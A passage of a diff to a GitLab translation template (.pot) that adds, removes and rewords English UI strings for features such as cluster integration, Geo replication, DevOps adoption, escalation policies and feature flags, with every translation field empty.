-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
